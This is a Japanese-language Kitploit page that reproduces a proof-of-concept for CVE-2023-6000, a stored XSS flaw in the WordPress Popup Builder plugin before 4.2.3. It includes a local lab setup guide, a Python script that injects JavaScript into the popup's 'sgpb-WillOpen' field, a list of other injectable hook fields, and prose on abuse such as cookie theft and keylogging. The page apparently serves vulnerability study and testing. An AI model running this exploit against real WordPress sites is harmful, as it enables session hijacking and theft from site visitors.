Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-6000-POC — この脆弱性は、WordPressのポップアッププラグインにおけるXSS(クロスサイトスクリプティング)の欠陥を示しており、攻撃者が格納型XSSを通じて悪意のあるJavaScriptを注入することを可能にします。 | Kitploit
ツール/GitHubGitHub/ronf98/cve-2023-6000-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

この脆弱性は、WordPressのポップアッププラグインにおけるXSS(クロスサイトスクリプティング)の欠陥を示しており、攻撃者が格納型XSSを通じて悪意のあるJavaScriptを注入することを可能にします。

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

  • CVE-ID : CVE-2023-6000
  • CVSSスコア : 6.1
  • タイプ : 保存型XSS
  • 修正バージョン : Popup Builder 4.2.3

この脆弱性により、攻撃者はWordPress Popup Builderプラグインのクロスサイトスクリプティング(XSS)の欠陥を悪用できます。 このプラグインは、一般の訪問者が既存のポップアップを変更することを防止できず、攻撃者が特別に細工したリクエストをサーバーに送信することで、 ポップアップに悪意のあるスクリプトを注入でき、ユーザーがポップアップとやり取りしたときに実行されます。

このPOCでは、ポップアップの開き動作を操作することで脆弱性がトリガーされ、ポップアップが開いたときに実行される単純なアラートスクリプトが注入されます。 この種の攻撃は、機密情報への不正アクセスや影響を受けるウェブサイトのさらなる悪用など、さまざまな問題を引き起こし、ユーザーデータやサイト全体が危険にさらされる可能性があります。

POC環境セットアップ

  1. XAMPPをダウンロードしてローカルWebサーバーをホストする(最新バージョン)
  2. SQLデータベースを作成する
  3. WordPressをインストールする(最新バージョン)
  4. WordPress管理画面にログインし、脆弱性のあるバージョンのPopup Builder(<4.2.3)をインストールする
  5. 脆弱性を表示するための簡単なフロントページとポップアップを設定する

ステップ1: XAMPP

このPOCでは、Windows 10マシンを使用し、XAMPPをダウンロードします:https://www.apachefriends.org/download.html
インストール後、ApacheモジュールとMySQLモジュールをONにしてください。

image

ステップ2: SQL DB

WordPressは、他のコンテンツ管理システムと同様に、すべての重要なデータを保存するためのデータベースが必要です。作成するSQLデータベースは、この情報の中央ストレージとして機能します。

  • ブラウザで http://localhost/phpmyadmin にアクセスします
  • [データベース]タブに移動し、新しいデータベース(例:wordpress_db)を作成します。
  • WordPressの設定時に必要になるため、データベース名をメモしておいてください。

ステップ3: WordPress

  • WordPress公式サイトからダウンロードします - https://wordpress.org/download/
  • ダウンロード後、WordPressのzipファイルをXAMPPのインストールディレクトリ(C:\xampp\htdocs\)内のフォルダに展開します。
  • 次に、http://localhost/wordpress にアクセスすると、インストール画面が表示されます。
  • データベース名には作成したSQL DB名を入力し、残りはデフォルトのままにします(ユーザー:root、パスワード:空(XAMPPのデフォルト))。
  • データベース接続が成功したら、後でアクセスするための管理者ユーザーを設定できます。

ステップ4: Popup Builder

脆弱性のあるバージョンのPopup Builderプラグインは、メインサイトからダウンロードできます:https://wordpress.org/plugins/popup-builder/advanced/
4.2.3の修正前の古いバージョンを選択してください: image
次に、WordPress管理画面(http://localhost/wordpress/wp-login.php )にアクセスします。 プラグイン → 新規プラグイン追加 → プラグインのアップロード → ダウンロードした.ZIPファイルを選択してインストールします。

ステップ5: フロントページとポップアップ

WordPress管理画面で、ページ → 新規追加 → パターンを選択することで、簡単なフロントページを作成できます。 ポップアップについては、Popup Builder → 新規追加 → タイプを選択しカスタマイズします。 このPOCでは、最近のウェブサイトで最も一般的に見られるポップアップの1つである購読ポップアップを選択しました。 image

[表示ルール]タブで、ポップアップをフロントページにアタッチできます: image

これで、http://localhost/wordpress/ からフロントページにアクセスすると、 ポップアップがトリガーされるのが確認できます。

エクスプロイト

エクスプロイトを実行するには、まずポップアップIDを特定する必要があります。 これは、サイトにアクセスし、ポップアップをトリガーして、デベロッパーツールのNetworkタブを開くことで行えます。 admin-ajax.phpリクエスト(AJAXリクエストを処理するWordPressのコアコンポーネント)を探します。 Popup Builderはこれを利用して、WordPress内でポップアップの保存、更新、プレビュー、制御といった機能を管理します。

Payloadタブの下に、ポップアップIDがあります:

image

ポップアップIDを見つけたら、以下のスクリプトを使用してエクスプロイトをトリガーできます:

root@kitploit:~
import requests

# 脆弱性のあるサイトのターゲットURLを定義
url = "http://localhost/wordpress/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
data = {
    "sgpb-is-preview": "1",
    "post_ID": "22",     # 見つけたポップアップIDを使用
    "sgpb-type": "html",
    "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     # カスタムJSコードをここに記述
    }

# POSTリクエストを送信し、結果を出力
response = requests.post(url, data=data)
print(response.text)

追加オプション

ポップアップを編集できるため、カスタムJSのトリガータイミングも制御できます。 WordPress管理画面のポップアップ設定に「カスタムJSまたはCSS」オプションがあり、これによりカスタムコードのタイミングを制御できます:

  • "sgpb-ShouldOpen" : ポップアップが開き始める前に実行され、開くべきかどうかを確認します。
  • "sgpb-WillOpen" : ポップアップが開く直前に実行され、最後の瞬間のアクションを可能にします。
  • "sgpb-DidOpen" : ポップアップが完全に開いた直後に実行され、読み込み後のアクション(例:XSS)に最適です。
  • "sgpb-ShouldClose" : ポップアップが閉じ始める前にトリガーされる確認またはアクション。
  • "sgpb-WillClose" : ポップアップが閉じる直前に実行され、最終的な変更を可能にします。
  • "sgpb-DidClose" : ポップアップが完全に閉じた直後に実行されます。

image

これを、必要な用途に応じてスクリプトに組み込むことができます。

実行

スクリプトをトリガーすると、WordPress管理画面のポップアップのカスタムJSセクションに新しい行が追加されているのが確認できます:

image

これで、一般ユーザーとしてサイトにアクセスすると、以下のメッセージが表示されます:

image

また、メッセージがSQLデータベース(デフォルトではwp_postmetaテーブル)に保存されていることも確認でき、これが保存型XSSであることを裏付けています:

image

考えられる用途

Popup Builderプラグインのこの保存型XSS脆弱性により、攻撃者は悪意のあるJavaScriptを埋め込み、感染したポップアップとやり取りするたびにユーザーに対して実行できます。 悪用方法としては以下が考えられます:

  • セッションハイジャック : 悪意のあるJSコードがセッションクッキーを盗み、外部ドメインに送信することで、攻撃者がユーザーアカウントを乗っ取ることができます。
  • リダイレクト : スクリプトはユーザーを偽のログインページや他の悪意のあるサイトにリダイレクトできます(以下のJSコードを追加することで可能:window.location.href = 'https://facebook.com')。
  • ドライブバイダウンロード : 攻撃者は悪意のあるファイルのダウンロードをトリガーし、ユーザーが知らないうちにマルウェアをインストールさせる可能性があります。
  • 改ざんと誤情報 : 注入されたスクリプトはページコンテンツを操作し、サイトを改ざんしたり、ユーザーに誤った情報を表示したりできます。
  • キーロガー : 悪意のあるスクリプトを使用してユーザーのキー入力を記録し、機密データや個人情報を取得して攻撃者のドメインに送信できます。
ツールをダウンロード